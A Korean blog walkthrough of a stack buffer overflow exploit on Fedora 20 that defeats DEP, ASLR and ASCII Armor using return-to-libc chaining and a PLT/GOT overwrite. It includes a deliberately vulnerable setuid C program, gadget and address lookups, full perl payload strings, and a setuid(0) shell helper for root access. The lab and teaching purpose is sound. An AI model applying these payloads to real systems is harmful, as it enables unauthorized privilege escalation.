Hacking/System Hacking

Stack Buffer Overflow(BOF) - DEP+ASLR+ASCII Armor 우회(끝판대장) (RTL 공격)

나노콛 2019. 9. 27. 00:47

*fedora 20 환경 ATTACK

ASCII Armor는
공유 라이브러리 영역의 상위 주소에 0x00을 포함시키는 방법



우회 기법
- RTL
- Chainning RTL
- PLT & GOT Overwrite


공격 방법
PLT&GOT Overwrite (strcpy@plt 사용)
plt에는 got으로 점프하는 주소가 있고
got에는 함수의 주소가 있다.
got에 execve 함수의 주소를 넣는다.

bss 영역에 execve의 인자로 사용할 /tmp/sh 문자열 복사

plt 호출 execve 인자 값 전달로 공격




RET로 끝나는 명령의 순서를 Gadget 이라고 합니다.
그 명령어에서
[pr] -인자 1개
pop
ret

[ppr] -인자 2개
pop
pop
ret

[pppr] - 인자 3개
pop
pop
pop
ret

로 되어있는 구간을 이용해서
인자가 있어도 계속 함수를 호출 할 수 있게 됩니다.


1. 취약한 프로그램 제작 

/* bof.c */
#include <stdio.h>
int main(int argc, char* argv[])
{
  char buf[100];
  strcpy(buf, argv[1]);
  printf("%s\n", buf);
}

컴파일 후 setuid bit 걸어줍니다.


2. 일반 계정으로 이동 - gadget 구하기
명령어 - objdump -d bof | grep -B 3 ret

인자를 2개 사용하기 때문에 080484ee 주소를 사용한다.

 

3. strcpy@plt, puts@plt, puts@got를 구합니다.

strcpy@plt, puts@plt 0x08048310 0x08048320

 

puts@got 0x0804a010

 

4. execve 함수 주소 구하기

print execve 0x43814550

 

5. BBS 주소 구하기

info files [strcpy@plt]

 

BBS 주소는 16byte 정도 뒤의 값으로 사용합니다.(겹칠 수 있으므로)
0x0804a020 -> 0x0804a030

6. buffer 사이즈 구하기

표시된 곳이 버퍼 크기인데 알 수가 없기 때문에
main+25에 break 걸고 eax를 확인합니다.
이후에 ebp에서 eax 값을 뺀 값이 버퍼의 사이즈이며 거기서 +4를 더해 ret까지의 거리를 만듭니다.

0xbfcd31e8-0xbfcd317c

 

앞자리 수 같으니 e8에서 7c를 빼면 6c가 나옵니다.
10진수로 108입니다. 여기서 4를 더해서 112가 ret까지의 거리입니다.

7.puts@got에 execve 주소 복사
 
주소가 변하지 않는 data 영역에 있는 puts@got에 execve의 주소를 저장합니다.
cat /proc/self/maps로 0x08048000 주소

뒤에 비어있는 공간이 있는 주소를 사용하면 된다.

 


execve를 넣을 때 0x43814550
50  - 0x8048018
45  - 0x8048001
81  - 0x804805d
43  - 0x8048277

위의 주소를 토대로 만듭니다
strcpy@plt + PPR + puts@got[0] + execve(주소는 거꾸로)
strcpy@plt + PPR + puts@got[1] + execve
strcpy@plt + PPR + puts@got[2] + execve
strcpy@plt + PPR + puts@got[3] + execve

"\x10\x83\x04\x08","\xee\x84\x04\x08","\x10\xa0\x04\x08","\x18\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x11\xa0\x04\x08","\x01\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x12\xa0\x04\x08","\x5d\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x13\xa0\x04\x08","\x77\x82\x04\x08",
위의 주소들이 정확히 되어있는지 확인해보겠습니다.

run "`perl -e 'print "A"x112, "\x10\x83\x04\x08","\xee\x84\x04\x08","\x10\xa0\x04\x08","\x18\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x11\xa0\x04\x08","\x01\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x12\xa0\x04\x08","\x5d\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x13\xa0\x04\x08","\x77\x82\x04\x08",'`"

 

puts@got의 주소에 execve의 주소가 들어가 있는 것이 확인되었습니다.

8. BSS에 "/tmp/sh"\00(null) 복사

strcpy@plt + PPR + BSS[0] + "/ 주소", 
strcpy@plt + PPR + BSS[1] + "t 주소", 
strcpy@plt + PPR + BSS[2] + "m 주소",   
strcpy@plt + PPR + BSS[3] + "p 주소", 
strcpy@plt + PPR + BSS[4] + "/ 주소", 
strcpy@plt + PPR + BSS[5] + "s 주소",    
strcpy@plt + PPR + BSS[6] + "h 주소",    
strcpy@plt + PPR + BSS[7] + "\x00 주소"

execve 주소를 데이터영역에 넣은 것과 비슷합니다.
BSS 영역에 문자 각각을 담습니다.

/ 0x8048154
t 0x80480f6
m 0x804825f
p 0x804824a
0x8048154  (문자가 같기 때문에 위의 주소 그대로 사용)
s 0x8048162
h 0x80480d8
0 0x8048007

strcpy@plt  + PPR + BSS[0]  /(문자는 똑바로)

"\x10\x83\x04\x08","\xee\x84\x04\x08","\x30\xa0\x04\x08","\x54\x81\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x31\xa0\x04\x08","\xf6\x80\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x32\xa0\x04\x08","\x5f\x82\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x33\xa0\x04\x08","\x4a\x82\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x34\xa0\x04\x08","\x54\x81\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x35\xa0\x04\x08","\x62\x81\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x36\xa0\x04\x08","\xd8\x80\x04\x08
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x37\xa0\x04\x08","\x07\x80\x04\x08

위의 주소들이 제대로 들어가 있는지 확인하겠습니다.

run "`perl -e 'print "A"x112,"\x10\x83\x04\x08","\xee\x84\x04\x08","\x10\xa0\x04\x08","\x18\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x11\xa0\x04\x08","\x01\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x12\xa0\x04\x08","\x5d\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x13\xa0\x04\x08","\x77\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x30\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x31\xa0\x04\x08","\xf6\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x32\xa0\x04\x08","\x5f\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x33\xa0\x04\x08","\x4a\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x34\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x35\xa0\x04\x08","\x62\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x36\xa0\x04\x08","\xd8\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x37\xa0\x04\x08","\x07\x80\x04\x08"'`"

 

제대로 들어가 있는 게 확인되었습니다.


9. 공격 준비

/* sh.c */ #include <stdio.h> int main() { setuid(0); system("/bin/sh"); }


현재까지 만든 코드에 마지막 줄 추가
puts@plt + DUMMY + BSS(처음 주소)+ NULL + NULL

"A"x112,
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x10\xa0\x04\x08","\x18\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x11\xa0\x04\x08","\x01\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x12\xa0\x04\x08","\x5d\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x13\xa0\x04\x08","\x77\x82\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x30\xa0\x04\x08","\x54\x81\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x31\xa0\x04\x08","\xf6\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x32\xa0\x04\x08","\x5f\x82\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x33\xa0\x04\x08","\x4a\x82\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x34\xa0\x04\x08","\x54\x81\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x35\xa0\x04\x08","\x62\x81\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x36\xa0\x04\x08","\xd8\x80\x04\x08",
"\x10\x83\x04\x08","\xee\x84\x04\x08","\x37\xa0\x04\x08","\x07\x80\x04\x08",
"\x20\x83\x04\x08","BBBB","\x30\xa0\x04\x08","\x07\x80\x04\x08"x2'`"


[공격]
문자 셋 변경!!

./bof "`perl -e 'print "A"x112,"\x10\x83\x04\x08","\xee\x84\x04\x08","\x10\xa0\x04\x08","\x18\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x11\xa0\x04\x08","\x01\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x12\xa0\x04\x08","\x5d\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x13\xa0\x04\x08","\x77\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x30\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x31\xa0\x04\x08","\xf6\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x32\xa0\x04\x08","\x5f\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x33\xa0\x04\x08","\x4a\x82\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x34\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x35\xa0\x04\x08","\x62\x81\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x36\xa0\x04\x08","\xd8\x80\x04\x08","\x10\x83\x04\x08","\xee\x84\x04\x08","\x37\xa0\x04\x08","\x07\x80\x04\x08","\x20\x83\x04\x08","BBBB","\x30\xa0\x04\x08","\x07\x80\x04\x08"x2'`"